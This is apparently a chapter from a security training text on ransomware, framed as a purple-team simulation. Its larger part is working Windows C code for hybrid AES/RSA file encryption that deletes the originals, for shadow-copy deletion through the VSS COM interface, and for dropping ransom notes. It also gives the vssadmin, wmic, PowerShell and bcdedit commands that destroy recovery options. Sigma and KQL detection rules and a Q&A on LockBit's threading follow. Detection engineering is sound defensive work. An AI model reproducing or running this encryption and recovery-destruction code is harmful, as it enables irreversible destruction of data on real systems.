Chapter 199

Ransomware Implementation

Ransomware is the most financially damaging class of malware in enterprise environments. Understanding the cryptographic design, file I/O patterns, and pre-encryption preparation (VSS deletion, backup destruction, inhibit recovery) is essential for detection engineers building ransomware-specific behavioral rules. Modern ransomware families (LockBit, BlackCat/ALPHV, Royal, Play) share architectural patterns with enough variation that detection requires behavioral signatures, not just hashes or strings.

Scenario

You are building a ransomware simulation for a purple team exercise on a 5,000-endpoint corporate network. You need to model the behavior of a modern double-extortion ransomware: pre-encryption data staging (exfiltration for extortion leverage), VSS deletion to prevent shadow copy recovery, parallelized file encryption, and ransom note drop — all while validating that your detection team's SIEM rules fire before encryption reaches >5% of file shares.

Cryptographic Design

RANSOMWARE HYBRID ENCRYPTION ARCHITECTURE ═══════════════════════════════════════════════════════════════════════ Per-file symmetric key (AES-256-GCM) ← unique per file │ └─ encrypted with per-victim asymmetric key (RSA-4096 or X25519) │ └─ victim's public key provisioned at deployment attacker holds private key (on their server) WHY HYBRID: - AES-256 encrypts fast (GB/s) for file content - RSA/X25519 protects the AES key: without attacker's private key, you cannot decrypt the AES key, therefore cannot decrypt the file - Attacker never sends private key until payment confirmed - Per-file key: each file encrypted differently → statistical attacks fail KEY MATERIAL STORAGE: - Per-file AES key: appended to encrypted file footer - Victim RSA public key: embedded in ransomware binary at build time (unique per target organization or per campaign) ═══════════════════════════════════════════════════════════════════════

Key Generation and Escrow

// Key generation: BCrypt (Windows CNG) for cryptographically random AES keys.
// RSA-4096 public key embedded in binary; private key held by attacker C2.

#include <windows.h>
#include <bcrypt.h>
#pragma comment(lib, "bcrypt.lib")

BOOL GenerateFileKey(BYTE key[32], BYTE iv[12]) {
    BCRYPT_ALG_HANDLE hRng;
    BCryptOpenAlgorithmProvider(&hRng, BCRYPT_RNG_ALGORITHM, NULL, 0);
    BCryptGenRandom(hRng, key, 32, 0);
    BCryptGenRandom(hRng, iv,  12, 0);
    BCryptCloseAlgorithmProvider(hRng, 0);
    return TRUE;
}

// Wrap per-file key with victim RSA public key (RSA-OAEP-SHA256)
BOOL WrapKeyWithRSA(BYTE* plainKey, DWORD keyLen,
                     BYTE* pubKeyDer, DWORD pubKeyLen,
                     BYTE* wrappedKey, DWORD* wrappedLen) {
    BCRYPT_KEY_HANDLE hKey;
    BCRYPT_ALG_HANDLE hAlg;
    BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_RSA_ALGORITHM, NULL, 0);
    BCryptImportKeyPair(hAlg, NULL, BCRYPT_RSAPUBLIC_BLOB,
        &hKey, pubKeyDer, pubKeyLen, 0);

    BCRYPT_OAEP_PADDING_INFO pad = {BCRYPT_SHA256_ALGORITHM, NULL, 0};
    BCryptEncrypt(hKey, plainKey, keyLen, &pad, NULL, 0,
        wrappedKey, 512, wrappedLen, BCRYPT_PAD_OAEP);

    BCryptDestroyKey(hKey);
    BCryptCloseAlgorithmProvider(hAlg, 0);
    return TRUE;
}

File Encryption Engine

// Parallelized file encryption:
// Worker thread pool processes files concurrently (I/O bound — more threads = faster).
// LockBit 3.0 used I/O Completion Ports for maximum throughput.
// File extension rename + ransom note drop per directory.

VOID EncryptFile(LPCWSTR path, BYTE* pubKey, DWORD pubKeyLen) {
    // Generate per-file key + nonce
    BYTE fileKey[32], nonce[12];
    GenerateFileKey(fileKey, nonce);

    // Wrap key
    BYTE wrappedKey[512]; DWORD wrappedLen = 0;
    WrapKeyWithRSA(fileKey, 32, pubKey, pubKeyLen, wrappedKey, &wrappedLen);

    // Open and read file
    HANDLE hIn = CreateFileW(path, GENERIC_READ|GENERIC_WRITE,
        0, NULL, OPEN_EXISTING, FILE_FLAG_SEQUENTIAL_SCAN, NULL);
    DWORD sz = GetFileSize(hIn, NULL);
    BYTE* buf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, sz);
    DWORD r;
    ReadFile(hIn, buf, sz, &r, NULL);
    CloseHandle(hIn);

    // Encrypt buffer with AES-256-GCM (BCrypt)
    BYTE* ctext = (BYTE*)HeapAlloc(GetProcessHeap(), 0, sz + 16);
    BYTE  tag[16];
    AesGcmEncrypt(fileKey, nonce, buf, sz, ctext, tag);

    // Write: ciphertext + footer [nonce(12) + tag(16) + wrappedKey(512) + magic(4)]
    WCHAR outPath[MAX_PATH];
    wcscpy_s(outPath, path);
    wcscat_s(outPath, L".locked");  // add extension

    HANDLE hOut = CreateFileW(outPath, GENERIC_WRITE,
        0, NULL, CREATE_ALWAYS, FILE_FLAG_WRITE_THROUGH, NULL);
    WriteFile(hOut, ctext, sz + 16, &r, NULL);
    WriteFile(hOut, nonce, 12, &r, NULL);
    WriteFile(hOut, tag, 16, &r, NULL);
    WriteFile(hOut, wrappedKey, wrappedLen, &r, NULL);
    CloseHandle(hOut);

    DeleteFileW(path);      // delete original
    HeapFree(GetProcessHeap(), 0, buf);
    HeapFree(GetProcessHeap(), 0, ctext);
}

VSS and Shadow Copy Deletion

// Deleting VSS shadow copies prevents recovery without paying.
// Multiple methods used by different ransomware families.

// Method 1: vssadmin (classic, detected easily)
vssadmin delete shadows /all /quiet

// Method 2: wmic (slightly less monitored)
wmic shadowcopy delete

// Method 3: PowerShell (used by REvil/Sodinokibi)
Get-WmiObject Win32_ShadowCopy | ForEach-Object { $_.Delete() }

// Method 4: IVssBackupComponents COM interface (no child process — harder to detect)
// LockBit 3.0, BlackCat use this to avoid vssadmin/wmic process creation events.

#include <vss.h>
#include <vswriter.h>
#include <vsbackup.h>

VOID DeleteShadowCopiesVSS() {
    CoInitializeEx(NULL, COINIT_MULTITHREADED);

    IVssBackupComponents* pVss = NULL;
    CreateVssBackupComponents(&pVss);
    pVss->InitializeForBackup();
    pVss->SetBackupState(FALSE, FALSE, VSS_BT_FULL, FALSE);

    IVssAsync* pAsync = NULL;
    pVss->GatherWriterMetadata(&pAsync);
    pAsync->Wait(); pAsync->Release();

    // Enumerate and delete all snapshots
    IVssEnumObject* pEnum = NULL;
    pVss->Query(GUID_NULL, VSS_OBJECT_NONE, VSS_OBJECT_SNAPSHOT, &pEnum);
    VSS_OBJECT_PROP prop; ULONG fetched;
    while (pEnum->Next(1, &prop, &fetched) == S_OK) {
        pVss->DeleteSnapshots(prop.Obj.Snap.m_SnapshotId,
            VSS_OBJECT_SNAPSHOT, FALSE, NULL, NULL);
    }
    pEnum->Release(); pVss->Release();
}

Ransom Note and Recovery Inhibition

// Drop ransom note in every directory; set desktop wallpaper; modify boot message.

// Drop note per-directory during file enumeration:
VOID DropNote(LPCWSTR dir) {
    WCHAR path[MAX_PATH];
    swprintf_s(path, L"%s\\README.txt", dir);
    HANDLE h = CreateFileW(path, GENERIC_WRITE, 0, NULL,
        CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    const char* note = "[PURPLE TEAM SIMULATION]\r\n"
                        "Your files have been encrypted.\r\n"
                        "This is a controlled exercise.\r\n";
    DWORD w;
    WriteFile(h, note, (DWORD)strlen(note), &w, NULL);
    CloseHandle(h);
}

// Set desktop wallpaper
SystemParametersInfoW(SPI_SETDESKWALLPAPER, 0,
    (PVOID)L"C:\\ransom_wallpaper.bmp", SPIF_SENDCHANGE);

// Modify BootStatusPolicy to hide boot errors (used by some ransomware)
// bcdedit /set {default} bootstatuspolicy ignoreallfailures
// bcdedit /set {default} recoveryenabled No

Detection Engineering

title: Mass File Rename with Appended Extension (Ransomware)
logsource:
  product: windows
  category: file_rename
detection:
  selection:
    EventID: 11  # Sysmon FileCreate (rename = create new + delete old)
  timeframe: 60s
  condition: selection | count() by SourceHostname > 100
level: critical
tags: [attack.impact, T1486]

title: vssadmin or wmic Shadow Copy Deletion
logsource:
  product: windows
  category: process_creation
detection:
  vssadmin:
    Image|endswith: '\vssadmin.exe'
    CommandLine|contains|all: ['delete', 'shadows']
  wmic:
    Image|endswith: '\wmic.exe'
    CommandLine|contains|all: ['shadowcopy', 'delete']
  ps:
    CommandLine|contains: 'Win32_ShadowCopy'
  condition: vssadmin or wmic or ps
level: critical

-- MDE KQL: high-volume file renames (ransomware encryption pattern)
DeviceFileEvents
| where Timestamp > ago(1h)
| where ActionType == "FileRenamed"
| where FileName matches regex @"\.[a-zA-Z0-9]{4,10}$"  // extension added
| summarize
    renames = count(),
    dirs    = dcount(FolderPath),
    exts    = make_set(tostring(split(FileName,".")[-1]))
    by DeviceName, InitiatingProcessFileName, bin(Timestamp, 1m)
| where renames > 50
| order by renames desc

-- MDE KQL: IVssBackupComponents COM call (stealthy VSS delete)
DeviceEvents
| where ActionType == "BehaviorPrevented"
    or ActionType == "AntivirusDetection"
| where AdditionalFields has_any ("Vss","ShadowCopy","DeleteSnapshots")
| project Timestamp, DeviceName, InitiatingProcessFileName, AdditionalFields

-- MDE KQL: bcdedit modifying recovery (pre-encryption preparation)
DeviceProcessEvents
| where Timestamp > ago(1d)
| where FileName =~ "bcdedit.exe"
| where ProcessCommandLine has_any ("recoveryenabled","bootstatuspolicy","ignoreallfailures")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine

Q&A

LockBit 3.0 uses I/O Completion Ports for file encryption rather than a simple thread pool. Why is this architecturally significant from both an attack speed and a detection perspective?

I/O Completion Ports (IOCP) are the Windows kernel's mechanism for efficiently managing large numbers of overlapped (asynchronous) I/O operations with a small, fixed-size thread pool. Instead of creating one thread per file (which would create thousands of threads and thrash the scheduler), IOCP lets a small pool of worker threads handle thousands of concurrent file reads/writes. When an asynchronous file operation completes, the kernel posts a completion packet to the port; a waiting worker thread dequeues it and processes the next operation immediately without blocking.

Attack speed significance: on a modern SSD, sequential file I/O is CPU-bound at the encryption stage and bandwidth-bound at the disk stage. With IOCP, LockBit 3.0 can saturate both: multiple read operations are in flight simultaneously (queued to the kernel's I/O scheduler), encryption happens on worker threads while the disk delivers data, and writes are also queued asynchronously. Benchmarks showed LockBit 3.0 encrypting files at rates up to 4-6 GB/minute on local NVMe, making traditional "count file renames over 60 seconds" detection thresholds too slow — the damage is done before the rule fires.

Detection significance: IOCP-based ransomware creates a very different process behavior profile than naive looping ransomware. It opens hundreds of file handles simultaneously (visible in Sysmon EID 15/open events and in the Handle table of the process), generates overlapping I/O requests to many files at the same time (visible in disk I/O metrics as extremely high queue depth across many unique file paths), and uses few threads. A detection rule looking for "X file renames per second from a single process" will catch it, but the threshold must be calibrated for speed: at 4 GB/min with average 100KB files, that's ~700 renames/minute or ~12/second. Any threshold above 10/second is too slow for fast IOCP-based ransomware on local storage. File share monitoring (Windows Server SMB audit events) can catch it faster because SMB latency slows the I/O, giving more time for the detection threshold to accumulate.